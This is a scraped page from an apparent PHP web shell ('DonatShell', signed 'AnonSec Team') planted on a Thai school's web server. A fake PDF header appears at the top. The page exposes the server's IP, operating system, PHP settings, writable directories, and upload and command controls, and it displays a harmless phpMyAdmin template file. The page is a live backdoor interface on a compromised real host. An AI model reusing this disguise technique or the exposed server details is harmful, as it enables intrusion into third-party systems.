%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/phpMyAdmin/templates/table/relation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /inetpub/wwwroot/phpMyAdmin/templates/table/relation/internal_relational_row.phtml
<?php
use PMA\libraries\Table;

$myfield = $save_row[$i]['Field'];
// Use an md5 as array index to avoid having special characters
// in the name attribute (see bug #1746964 )
$myfield_md5 = md5($myfield);
$myfield_html = htmlspecialchars($myfield);

$foreign_table = false;
$foreign_column = false;

// database dropdown
if (isset($existrel[$myfield])) {
    $foreign_db = $existrel[$myfield]['foreign_db'];
} else {
    $foreign_db = $db;
}

// table dropdown
$tables = array();
if ($foreign_db) {
    if (isset($existrel[$myfield])) {
        $foreign_table = $existrel[$myfield]['foreign_table'];
    }
    $tables_rs = $GLOBALS['dbi']->query(
        'SHOW TABLES FROM ' . PMA\libraries\Util::backquote($foreign_db),
        null,
        PMA\libraries\DatabaseInterface::QUERY_STORE
    );
    while ($row = $GLOBALS['dbi']->fetchRow($tables_rs)) {
        $tables[] = $row[0];
    }
}

// column dropdown
$columns = array();
if ($foreign_db && $foreign_table) {
    if (isset($existrel[$myfield])) {
        $foreign_column = $existrel[$myfield]['foreign_field'];
    }
    $table_obj = new Table($foreign_table, $foreign_db);
    $columns = $table_obj->getUniqueColumns(false, false);
}
?>
<tr class="<?= ($odd_row ? 'odd' : 'even'); ?>">
    <td class="vmiddle">
        <strong><?= $myfield_html; ?></strong>
        <input type="hidden" name="fields_name[<?= $myfield_md5; ?>]"
               value="<?= $myfield_html; ?>"/>
    </td>

    <td>
        <?= PMA\libraries\Template::get('table/relation/relational_dropdown')->render(
            array(
                'name' => 'destination_db[' . $myfield_md5 . ']',
                'title' => __('Database'),
                'values' => $GLOBALS['dblist']->databases,
                'foreign' => $foreign_db
            )
        ); ?>
        <?= PMA\libraries\Template::get('table/relation/relational_dropdown')->render(
            array(
                'name' => 'destination_table[' . $myfield_md5 . ']',
                'title' => __('Table'),
                'values' => $tables,
                'foreign' => $foreign_table
            )
        ); ?>
        <?= PMA\libraries\Template::get('table/relation/relational_dropdown')->render(
            array(
                'name' => 'destination_column[' . $myfield_md5 . ']',
                'title' => __('Column'),
                'values' => $columns,
                'foreign' => $foreign_column
            )
        ); ?>
    </td>
</tr>

Anon7 - 2022
AnonSec Team